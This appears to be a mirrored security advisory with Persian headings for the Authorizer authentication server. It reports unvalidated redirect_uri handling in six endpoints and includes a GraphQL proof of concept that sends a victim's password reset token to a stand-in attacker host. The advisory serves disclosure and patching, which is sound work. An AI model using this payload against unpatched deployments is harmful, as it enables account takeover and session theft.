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- نسخههای متأثر
- <0.0.0-20260329085140-6d9bef1aaba3
- نسخهٔ اصلاحشده
- 0.0.0-20260329085140-6d9bef1aaba3
- نسخههای متأثر
- < 0.0.0-20260329085140-6d9bef1aaba3
- نسخهٔ اصلاحشده
- 0.0.0-20260329085140-6d9bef1aaba3
شرح آسیبپذیری
Hi,
I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirect_uri at http_handlers/app.go:46, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).
Affected Endpoints
ForgotPassword (
internal/graphql/forgot_password.go:76-77) - password reset tokensMagicLinkLogin (
internal/graphql/magic_link_login.go:150-151) - magic link auth tokensSignup (
internal/graphql/signup.go:211-212) - email verification tokensInviteMembers (
internal/graphql/invite_members.go:90-91) - invitation tokensOAuthLoginHandler (
internal/http_handlers/oauth_login.go:18-20) - OAuth redirect stored in stateVerifyEmailHandler (
internal/http_handlers/verify_email.go:27,178) - full auth tokens (access + id + refresh)
Root Cause
Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.
In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:
if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" {
redirectURI = refs.StringValue(params.RedirectURI)
}
The reset token is appended to this URL at internal/utils/common.go:77:
func GetForgotPasswordURL(token, redirectURI string) string {
verificationURL := redirectURI + "?token=" + token
return verificationURL
}
Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
c.JSON(400, gin.H{"error": "invalid redirect url"})
return
}
This validation is missing from all 6 endpoints listed above.
Most Severe Path: Full Token Theft via verify_email
After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:
params := "access_token=" + authToken.AccessToken.Token +
"&token_type=bearer&expires_in=" + ... +
"&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce
The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.
Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.
PoC
mutation {
forgot_password(params: {
email: "victim@example.com"
redirect_uri: "https://attacker.com/steal"
}) {
message
}
}
The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.
Impact
Account takeover via stolen password reset tokens
Full session theft via stolen access_token + id_token + refresh_token
Passwordless account compromise via stolen magic link tokens
No authentication required to trigger (the GraphQL mutations are public)
Victim only needs to click the email link from their trusted Authorizer instance
Additional Note
The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.
Koda Reef
پیوندها
- https://github.com/advisories/GHSA-x3f4-v83f-7wp2
- https://github.com/authorizerdev/authorizer
- https://github.com/authorizerdev/authorizer/commit/6d9bef1aaba3f867f8c769b93eb7fc80e4e7b0a2
- https://github.com/authorizerdev/authorizer/pull/502
- https://github.com/authorizerdev/authorizer/releases/tag/2.0.1
- https://github.com/authorizerdev/authorizer/security/advisories/GHSA-x3f4-v83f-7wp2
گزارشدهندگان
- kodareef5

